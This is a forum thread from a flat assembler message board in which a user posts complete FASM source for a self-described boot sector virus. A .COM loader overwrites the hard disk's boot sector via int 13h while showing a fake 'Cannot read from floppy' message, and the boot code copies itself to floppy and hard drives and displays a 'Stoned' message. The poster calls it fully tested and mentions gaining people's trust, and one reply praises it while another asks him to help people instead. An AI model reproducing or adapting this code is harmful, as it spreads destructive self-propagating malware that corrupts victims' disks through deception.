flat assembler
Message board for the users of flat assembler.
 Home   FAQ   Search   Register 
 Profile   Log in to check your private messages   Log in 
flat assembler > DOS > Boot sector virus - it finally works.

Author
Thread Post new topic Reply to topic
mbr_tsr



Joined: 03 Apr 2011
Posts: 4612
Boot sector virus - it finally works.

Code:
;======================================================
;The Wow.C4 Virus Version 2.0
;Note: Requires int 13h
;by MBR_TSR
;Assemble with FASM
;* .Com file copies 512 byte virus to C:\ boot sector
;* Boot to C:\ writes virus to A: B: C: and D:
;Fully tested. A little slow.
;Acts a little weird waiting for  key, little slow.
;======================================================

;.Com file loader

Org 0x0100

push cs
push cs
pop  ds
pop  es

;------------------------------------------------------
mov ah3     ;write
mov al1     ;# of sectors
mov ch0     ;Cylinder
mov cl1     ;Start Sector
mov dh0     ;Head
mov dl80h   ;drive#
mov bxStart ;Buff
int 13h       ;disk
;------------------------------------------------------

push cs
pop  ds

;fake message
mov siFirstMsg
call ShowStrCom

mov ah0
int 0x16

mov ah0x4C
int 0x21

;------------------------------------------------------
ShowStrCom:
lodsb        
cmp  al0   
je   OkayBaby
mov  ah0x0E
mov  bh0x00
int  0x10    
jmp  ShowStrCom
OkayBaby:
ret
;------------------------------------------------------
FirstMsg db "Cannot read from floppy A: or USB.",13,10,7,0
;======================================================
;Boot Sector
Start:

Org 0x7C00
Main:

;------------------------------------------------------
push cs
push cs
pop  ds
pop  es

mov byte [cs:DriveNumber], 0
call WriteSectorBoot
mov byte [cs:DriveNumber], 1
call WriteSectorBoot
mov byte [cs:DriveNumber], 80h
call WriteSectorBoot
mov byte [cs:DriveNumber], 81h
call WriteSectorBoot

push cs
pop  ds
mov  siStoned
call ShowStr

mov ah0
int 0x16

jmp Main
;------------------------------------------------------
;ShowStr
ShowStr:
lodsb        
cmp  al0   
je   Okay
mov  ah0x0E
mov  bh0x00
int  0x10    
jmp  ShowStr
Okay:
ret
;------------------------------------------------------
WriteSectorBoot:    
mov  cx5 ;retries
Looper:
push cx
push cs
pop  es
mov ah3     ;write
mov al1     ;# of sectors
mov ch0     ;Cylinder
mov cl1     ;Start Sector
mov dh0     ;Head
mov dlbyte [cs:DriveNumber]
mov bxMain  ;Buff
int 13h       ;disk
pop cx
jnc WereOut
loop Looper
WereOut:
ret
;------------------------------------------------------
DriveNumber db 0

Stoned db "Your PC is Now Stoned!!!",13,10
       db "Insert Disk I Can Write to...",13,10,7,0

      rb Main+512-2-$ 
      dw 0xAA55

;======================================================

Edit by revolution: Added code tags
Post 21 May 2015, 03:05
View user's profile Send private message Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Stoned 2.0? Great work, I'm working on a file infector for Win32 myself. Smile
Post 21 May 2015, 18:21
View user's profile Send private message Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Stoned 2.0? Great work, I'm working on a file infector for Win32 myself. Smile
Post 21 May 2015, 18:21
View user's profile Send private message Reply with quote
mbr_tsr



Joined: 03 Apr 2011
Posts: 4612
WOW, UR, this one is NICE, for some reason occasionally i have to hit a key to display the message, and sometimes it takes 20 seconds to show the message, the first bug i encountered was int 13h needed a retry, using function 3 only once never worked, and plus gaining my peoples trust it is a good OS disk.
Post 27 May 2015, 21:38
View user's profile Send private message Reply with quote
Fixit



Joined: 22 Nov 2012
Posts: 161
Have you considered doing something to help people instead of harming them ?
Post 28 May 2015, 01:36
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >

Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2005 phpBB Group.

Main index   Download   Documentation   Examples   Message board
Copyright © 2004-2016, Tomasz Grysztar.